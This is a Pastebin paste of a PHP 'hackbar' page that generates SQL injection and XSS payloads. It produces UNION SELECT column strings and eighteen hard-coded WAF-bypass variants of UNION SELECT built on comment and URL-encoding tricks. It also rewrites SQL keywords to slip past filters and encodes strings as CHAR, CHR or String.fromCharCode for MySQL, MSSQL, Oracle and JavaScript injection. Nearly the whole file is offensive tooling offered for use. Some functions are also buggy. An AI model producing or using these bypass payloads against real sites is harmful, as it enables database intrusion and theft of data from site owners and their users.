UZUNDZ

PHP HACKBAR

May 8th, 2014
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.32 KB | None | 0 0
  1. <title> PHP HACKBAR </title>
  2. <head><style>
  3. textarea
  4. {
  5.     border:1px solid #999999;
  6.     width:99%;
  7. }
  8. </style>
  9. </head>
  10. <form method="POST">
  11. <select name='SQLi' onChange="submit();">
  12.     <option>SQL INJECTION</option>
  13.     <option>UNION SELECT</option>
  14.     <option>UNION_BYPASS</option>
  15.     <option>MYSQL CHAR</option>
  16.     <option>MSSQL CHAR</option>
  17.     <option>ORACLE CHAR</option>
  18.     <option>FILETRING</option>
  19.     <option>CONVERT utf8</option>
  20.     <option>unhex(hex())</option>
  21.     <option>STRING REVERSE</option>
  22. </select>
  23. <select name='UNION' onChange="submit();" >
  24.     <option>UNION_BYPASS</option>
  25.     <?php
  26.     for($i=0;$i<=18;$i++){
  27.         echo "<option>UNION $i</option>";
  28.     }
  29.     ?>
  30. </select>
  31. <select name='XSS' onChange="submit();" >
  32.     <option>XSS</option>
  33.     <option>StringCharEncode</option>
  34.     <option>StringCharDecode</option>
  35.     <option>HTML ENCODE</option>
  36.     <option>HTML DECODE</option>
  37.     <option>ASCII ENCODE</option>
  38.     <option>ASCII DECODE</option>
  39.    
  40. </select>
  41. <select name='Encod3' onChange="submit();" >
  42.     <option>Encode - Decode</option>
  43.     <option>BASE64 Encode</option>
  44.     <option>BASE64 Decode</option>
  45.     <option>Hex Encode</option>
  46.     <option>Hex Decode</option>
  47.     <option>URL FULL Encode</option>
  48.     <option>URL FULL Decode</option>
  49.     <option>Serialize</option>
  50.     <option>UnSerialize</option>
  51. </select>
  52. <br />
  53. <hr>
  54. <pre>
  55. Query :
  56.  
  57. <textarea rows="13" name="query" placeholder="write something !!" />
  58. <?php
  59.  
  60. /*
  61. * AUTHOR : UZUNDZ.
  62. * HOME : Sec4ever.Com.
  63. * PHP HACKBAR.
  64.  
  65. * STARTED WITH 2 FUNCTIONS :
  66.     UNION , FILETRING.
  67.    
  68. * UPDATED : 30/03/2014.
  69. * FUNCTIONS ADDED :
  70.     MYSQL & MSSQL & ORACLE CHAR ,BASE64 Encode & Decode , Hex Encode & Decode , URL FULL Encode & Decode ,  
  71.     HTML Encode & Decode, StringChar Encode & Decode, COVERT , unhex(hex()).
  72.    
  73. * UPDATED : 10/06/2014.
  74. * FUNTIONS ADDED :
  75.     ASCII ENCODE & DECODE , Serialize & UnSerialize , STRING REVERSE.
  76. */
  77. error_reporting (0);
  78.  
  79. if (!empty($_POST['query']))
  80. {
  81.     $hack = trim ($_POST['query']);
  82.     $hackbar = new hackbar ($hack);
  83.  
  84.     switch ($_POST['SQLi'])
  85.     {
  86.         case "UNION SELECT" : $hackbar->UNION (); break;
  87.         case "UNION_BYPASS" : $hackbar->UNION_BYPASS(); break;
  88.         case "MYSQL CHAR" : $hackbar->CHAR ("",",","MYSQL"); break;
  89.         case "MSSQL CHAR" : $hackbar->CHAR ("CHAR","+","",1); break;
  90.         case "ORACLE CHAR" : $hackbar->CHAR ("CHR","||","ORACLE",1); break;
  91.         case "FILETRING" : $hackbar->FILTER (); break;
  92.         case "CONVERT utf8" : echo "CONVERT($hack USING utf8)"; break;
  93.         case "unhex(hex())" : echo "unhex(hex($hack))"; break;
  94.         case "STRING REVERSE" : echo strrev ($hack); break;
  95.     }
  96.     for($i=0;$i<=18;$i++){
  97.         switch ($_POST['UNION'])
  98.         {
  99.             case "UNION $i" : $hackbar->UNION_BYPASS($i); break;
  100.         }
  101.     }
  102.     switch ($_POST['Encod3'])
  103.     {
  104.         case "BASE64 Encode" : echo htmlentities(base64_encode ($hack)); break;
  105.         case "BASE64 Decode" : echo htmlentities(base64_decode ($hack)); break;
  106.         case "Hex Encode" : $hackbar->strToHex (); break;
  107.         case "Hex Decode" : $hackbar->ToStr ("0x"); break;
  108.         case "URL FULL Encode" : $hackbar->urlencode ("%",""); break;
  109.         case "URL FULL Decode" : $hackbar->urldec(); break;
  110.         case "Serialize" : echo serialize ($hack); break;
  111.         case "UnSerialize" : print_r (unserialize ($hack)); break;
  112.     }
  113.  
  114.     switch ($_POST['XSS'])
  115.     {
  116.         case "StringCharEncode" : $hackbar->CHAR ("",",","XSS"); break;
  117.         case "StringCharDecode" : $hackbar->StringCharDecode (); break;
  118.         case "HTML ENCODE" : $hackbar->HTMLENC (); break;
  119.         case "HTML DECODE" : $hackbar->HTMLDEC (); break;
  120.         case "ASCII ENCODE" : $hackbar->CHAR ("",",","",0); break;
  121.         case "ASCII DECODE" : $hackbar->ASCIIDEC (","); break;
  122.     }
  123. }
  124.  
  125. class hackbar
  126. {
  127.     private $_string;
  128.  
  129.     function __construct ($string)
  130.     {
  131.         $this->_string = $string;
  132.     }
  133.  
  134.     function UNION ()
  135.     {
  136.             for ($i = 1; $i <= $this->_string; $i++) {
  137.             $un .= $i . ",";
  138.         }
  139.         echo "UNION ALL SELECT ".substr ($un, 0, -1);
  140.     }
  141.    
  142.     function UNION_BYPASS($d)
  143.     {
  144.             for ($i = 1; $i <= $this->_string; $i++) {
  145.             $un .= $i . ",";
  146.             }
  147.         $array = array("/*!UNION*/ /*!%0ASELECT*/", "/*!%0AUNION*/ /*!%0ASELECT*/", "/**//*!12345UNION SELECT*//**/", "/**//**//*!12345UNiON*//**//**//*!12345ALL*//**//**//*!12345SELECT*//**//**/", "/**//**//*!50000%55NION*//**//**//*!50000%53ELECT*//**//**/", "/**//*!12345UNION SELECT*//**/", "+union+distinct+select+", "+union+distinctROW+select+", "%20/*!12345UNION*/%20/*!12345SELECT*/%20%201", "/*_*/%2f%2a%2120000union%2a%2f/*,*/%2f%2a%2120000SelEct%2a%2f/*,*/", "null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/", "/**/un/**/ion+se/**/lect/**/", "/*,*/uni%0bon+se%0blect/*,*/", "/*_*//*!20000%0D%0Aunion*/+/*!20000%0D%0ASelEct*//*_*/", "/**//**//*!12345%55nIoN*//**//**//*!12345%53ElEcT*//**//**/", "/*!12345%0AUNION*/ /*!12345%0ASELECT*/", "/*!12345UNION*/ /*!12345SELECT*/", "/*!%0AUNION*/ /*!%0ASELECT*/");  
  148.             echo "$array[$d] ".substr($un,0,-1)."--+-\n\r";
  149.     }
  150.  
  151.     function FILTER ()
  152.     {
  153.     $filter = array ("union","all","select","from","and","where","limit","group","by","schemata","tables","columns","table_schema","schema_name","table_name","column_name","floor","having");
  154.     foreach ($filter as $fill) {
  155.             $this->_string = str_replace(array(strtoupper($fill), $fill), "/*!12345" . strtoupper($fill) . "*/", $this->_string);
  156.         }
  157.         echo $this->_string;
  158.     }
  159.  
  160.     function strToHex ()
  161.     {
  162.     $hex = '';
  163.     for ($i = 0; $i < strlen($this->_string); $i++) {
  164.             $hex .= dechex(ord($this->_string[$i]));
  165.         }
  166.         echo "0x".$hex;
  167.     }
  168.  
  169.     function ToStr($c)
  170.     {
  171.         if(eregi($c,$this->_string)){
  172.             $this->_string = str_replace($c,"",$this->_string);
  173.         }
  174.         $string='';
  175.         for ($i=0; $i < strlen($this->_string)-1; $i+=2)
  176.         {
  177.             $string .= chr(hexdec($this->_string[$i].$this->_string[$i+1]));
  178.         }
  179.         echo $string;
  180.     }
  181.  
  182.     function urlencode ($c, $d)
  183.     {
  184.     $url = '';
  185.     for ($i = 0; $i < strlen($this->_string); $i++) {
  186.             $url .= htmlentities($c . dechex(ord($this->_string[$i])) . $d);
  187.         }
  188.         echo strtoupper ($url);
  189.     }
  190.    
  191.     function urldec(){
  192.         echo urldecode($this->_string);
  193.     }
  194.  
  195.     function CHAR ($co, $c, $opt, $b)
  196.     {
  197.         $char = '';
  198.  
  199.     for ($i = 0; $i < strlen ($this->_string); $i++)
  200.     {
  201.         if ($b == 1) {
  202.             $char .= $co . "(" . ord($this->_string[$i]) . ")" . $c;
  203.         }else {
  204.             $char .= ord($this->_string[$i]) . $c;
  205.             }
  206.         }
  207.  
  208.         if ($opt == ""){
  209.             echo substr ($char, 0, -1);
  210.                 }
  211.         elseif ($opt == "MYSQL"){
  212.             echo "CHAR(".substr ($char, 0, -1).")";
  213.                 }
  214.         elseif ($opt == "XSS"){
  215.             echo "String.fromCharCode(".substr ($char, 0, -1).")";
  216.                 }
  217.         elseif ($opt == "ORACLE"){
  218.                 echo substr ($char, 0, -2);
  219.                 }
  220.     }
  221.  
  222.     function StringCharDecode()
  223.     {
  224.         $this->_string = $this->StrReplace("String.fromCharCode(,)");
  225.         return $this->ASCIIDEC(',');   
  226.     }
  227.  
  228.     function HTMLENC ()
  229.     {
  230.         return $this->urlencode("&#",";");
  231.     }
  232.  
  233.     function HTMLDEC($string)
  234.     {
  235.         $this->_string = $this->StrReplace("&#,;");
  236.         return $this->ToStr();
  237.     }
  238.  
  239.     protected function StrReplace($c)
  240.     {
  241.         $c = explode (",", $c);
  242.         return str_replace ($c, "", $this->_string);
  243.     }
  244.  
  245.     function ASCIIDEC($m)
  246.     {
  247.         $strings = explode ($m,$this->_string);
  248.         foreach ($strings as $string){
  249.             echo chr($string);
  250.         }
  251.     }
  252. }
  253.  
  254. ?>
  255. </textarea>
  256. </form>
  257. <center> &copy; UZUNDZ , Sec4ever.Com.</center>
  258. </pre>
Add Comment
Please, Sign In to add comment